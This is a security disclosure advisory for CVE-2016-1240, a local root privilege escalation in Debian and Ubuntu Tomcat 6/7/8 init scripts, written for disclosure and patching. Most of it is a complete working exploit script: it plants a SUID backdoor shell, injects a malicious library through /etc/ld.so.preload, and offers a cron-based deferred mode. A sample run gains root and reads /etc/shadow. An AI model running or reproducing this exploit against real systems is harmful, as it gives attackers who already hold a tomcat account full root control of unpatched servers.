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============================================= - Discovered by: Dawid Golunski - http://legalhackers.com - dawid (at) legalhackers.com - CVE-2016-1240 - Release date: 30.09.2016 - Revision: 1 - Severity: High ============================================= I. VULNERABILITY ------------------------- Apache Tomcat packaging on Debian-based distros - Local Root Privilege Escalation Affected debian packages: Tomcat 8 <= 8.0.36-2 Tomcat 7 <= 7.0.70-2 Tomcat 6 <= 6.0.45+dfsg-1~deb8u1 Ubuntu systems are also affected. See section VII. for details. Other systems using the affected debian packages may also be affected. II. BACKGROUND ------------------------- "The Apache Tomcat® software is an open source implementation of the Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket technologies. The Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket specifications are developed under the Java Community Process. The Apache Tomcat software is developed in an open and participatory environment and released under the Apache License version 2. The Apache Tomcat project is intended to be a collaboration of the best-of-breed developers from around the world. Apache Tomcat software powers numerous large-scale, mission-critical web applications across a diverse range of industries and organizations. Some of these users and their stories are listed on the PoweredBy wiki page. " http://tomcat.apache.org/ III. INTRODUCTION ------------------------- Tomcat (6, 7, 8) packages provided by default repositories on Debian-based distributions (including Debian, Ubuntu etc.) provide a vulnerable tomcat init script that allows local attackers who have already gained access to the tomcat account (for example, by exploiting an RCE vulnerability in a java web application hosted on Tomcat, uploading a webshell etc.) to escalate their privileges from tomcat user to root and fully compromise the target system. IV. DESCRIPTION ------------------------- The vulnerability is located in the tomcat init script provided by affected packages, normally installed at /etc/init.d/tomcatN. The script for tomcat7 contains the following lines: -----[tomcat7]---- # Run the catalina.sh script as a daemon set +e touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out -------[eof]------ Local attackers who have gained access to the server in the context of the tomcat user (for example, through a vulnerability in a web application) would be able to replace the log file with a symlink to an arbitrary system file and escalate their privileges to root once Tomcat init script (running as root) re-opens the catalina.out file after a service restart, reboot etc. As attackers would already have a tomcat account at the time of exploitation, they could also kill the tomcat processes to introduce the need for a restart. V. PROOF OF CONCEPT EXPLOIT ------------------------- ------[ tomcat-rootprivesc-deb.sh ]------ #!/bin/bash # # Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit # # CVE-2016-1240 # # Discovered and coded by: # # Dawid Golunski # http://legalhackers.com # # This exploit targets Tomcat (versions 6, 7 and 8) packaging on # Debian-based distros including Debian, Ubuntu etc. # It allows attackers with a tomcat shell (e.g. obtained remotely through a # vulnerable java webapp, or locally via weak permissions on webapps in the # Tomcat webroot directories etc.) to escalate their privileges to root. # # Usage: # ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred] # # The exploit can used in two ways: # # -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly # gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. # It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up # a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.) # # -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to # /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. # Attackers can come back at a later time and check on the /etc/default/locale file. Upon a # Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can # then add arbitrary commands to the file which will be executed with root privileges by # the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default # Ubuntu/Debian Tomcat installations). # # See full advisory for details at: # http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html # # Disclaimer: # For testing purposes only. Do no harm. # BACKDOORSH="/bin/bash" BACKDOORPATH="/tmp/tomcatrootsh" PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" SUIDBIN="/usr/bin/sudo" function cleanexit { # Cleanup echo -e "\n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $TOMCATLOG touch $TOMCATLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload 2>/dev/null fi echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1 } function ctrl_c() { echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation." cleanexit 0 } #intro echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n" echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m" # Args if [ $# -lt 1 ]; then echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n" exit 3 fi if [ "$2" = "-deferred" ]; then mode="deferred" else mode="active" fi # Priv check echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n<code>id</code>" id | grep -q tomcat if [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n" exit 3 fi # Set target paths TOMCATLOG="$1" if [ ! -f $TOMCATLOG ]; then echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n" exit 3 fi echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG" # [ Deferred exploitation ] # Symlink the log file to /etc/default/locale file which gets executed daily on default # tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am. # Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been # restarted and file owner gets changed. if [ "$mode" = "deferred" ]; then rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." cleanexit 3 fi echo -e"\n[+] Symlink created at: \n<code>ls -l $TOMCATLOG</code>" echo -e"\n[+] The current owner of the file is: \n<code>ls -l /etc/default/locale</code>" echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot" echo -ne "\nyou'll be able to add arbitrary commands to the file which will get executed with root privileges" echo -ne "\nat ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)\n\n" exit 0 fi # [ Active exploitation ] trap ctrl_c INT # Compile privesc preload library echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" cat <<_solibeof_>$PRIVESCSRC #define _GNU_SOURCE #include <stdio.h> #include <sys/stat.h> #include <unistd.h> #include <dlfcn.h> uid_t geteuid(void) { static uid_t(*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); unlink("/etc/ld.so.preload"); } return old_geteuid(); } _solibeof_ gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl if [ $? -ne 0 ]; then echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2; fi # Prepare backdoor shell cp $BACKDOORSH $BACKDOORPATH echo -e "\n[+] Backdoor/low-priv shell installed at: \n<code>ls -l $BACKDOORPATH</code>" # Safety check if [ -f /etc/ld.so.preload ]; then echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." cleanexit 2 fi # Symlink the log file to ld.so.preload rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] Symlink created at: \n<code>ls -l $TOMCATLOG</code>" # Wait for Tomcat to re-open the logs echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..." echo -e"\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)" while :; do sleep 0.1 if [ -f /etc/ld.so.preload ]; then echo $PRIVESCLIB > /etc/ld.so.preload break; fi done # /etc/ld.so.preload file should be owned by tomcat user at this point # Inject the privesc.so shared library to escalate privileges echo $PRIVESCLIB > /etc/ld.so.preload echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n<code>ls -l /etc/ld.so.preload</code>" echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" echo -e "\n[+] The /etc/ld.so.preload file now contains: \n<code>cat /etc/ld.so.preload</code>" # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" sudo --help 2>/dev/null >/dev/null # Check for the rootshell ls -l $BACKDOORPATH | grep rws | grep -q root if [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n<code>ls -l $BACKDOORPATH</code>" echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m" else echo -e "\n[!] Failed to get root" cleanexit 2 fi # Execute the rootshell echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n" $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" $BACKDOORPATH -p # Job done. cleanexit 0 --------------[ EOF ]-------------------- Example exploit run: ~~~~~~~~~~~~~~ tomcat7@ubuntu:/tmp$ id uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7) tomcat7@ubuntu:/tmp$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04 LTS Release: 16.04 Codename: xenial tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat iilibtomcat7-java7.0.68-1ubuntu0.1 allServlet and JSP engine -- core libraries iitomcat77.0.68-1ubuntu0.1 allServlet and JSP engine iitomcat7-common 7.0.68-1ubuntu0.1 allServlet and JSP engine -- common files tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit CVE-2016-1240 Discovered and coded by: Dawid Golunski http://legalhackers.com [+] Starting the exploit in [active] mode with the following privileges: uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7) [+] Target Tomcat log file set to /var/log/tomcat7/catalina.out [+] Compiling the privesc shared library (/tmp/privesclib.c) [+] Backdoor/low-priv shell installed at: -rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh [+] Symlink created at: lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload [+] Waiting for Tomcat to re-open the logs/Tomcat service restart... You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;) [+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: -rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload [+] The /etc/ld.so.preload file now contains: /tmp/privesclib.so [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root! [+] Rootshell got assigned root SUID perms at: -rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh Please tell me you're seeing this too ;) [+] Executing the rootshell /tmp/tomcatrootsh now! tomcatrootsh-4.3# id uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7) tomcatrootsh-4.3# whoami root tomcatrootsh-4.3# head -n3 /etc/shadow root:$6$oaf[cut]:16912:0:99999:7::: daemon:*:16912:0:99999:7::: bin:*:16912:0:99999:7::: tomcatrootsh-4.3# exit exit [+] Cleaning up... [+] Job done. Exiting with code 0 VI. BUSINESS IMPACT ------------------------- Local attackers who have gained access to tomcat user account (for example remotely via a vulnerable web application, or locally via weak webroot perms), could escalate their privileges to root and fully compromise the affected system. VII. SYSTEMS AFFECTED ------------------------- The following Debian package versions are affected: Tomcat 8 <= 8.0.36-2 Tomcat 7 <= 7.0.70-2 Tomcat 6 <= 6.0.45+dfsg-1~deb8u1 A more detailed lists of affected packages can be found at: Debian: https://security-tracker.debian.org/tracker/CVE-2016-1240 Ubuntu: http://www.ubuntu.com/usn/usn-3081-1/ Other systmes that use Tomcat packages provided by Debian may also be affected. VIII. SOLUTION ------------------------- Debian Security Team was contacted and has fixed affected upstream packages. Update to the latest tomcat packages provided by your distribution. IX. REFERENCES ------------------------- http://legalhackers.com http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html The exploit's sourcecode http://legalhackers.com/exploits/tomcat-rootprivesc-deb.sh CVE-2016-1240 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1240 Ubuntu Security Notice USN-3081-1: http://www.ubuntu.com/usn/usn-3081-1/ Debian Security Advisory DSA-3669-1 (tomcat7): https://lists.debian.org/debian-security-announce/2016/msg00249.html https://www.debian.org/security/2016/dsa-3669 Debian Security Advisory DSA-3670-1 (tomcat8): https://www.debian.org/security/2016/dsa-3670 https://security-tracker.debian.org/tracker/CVE-2016-1240 X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com http://legalhackers.com XI. REVISION HISTORY ------------------------- 30.09.2016 - Advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. |
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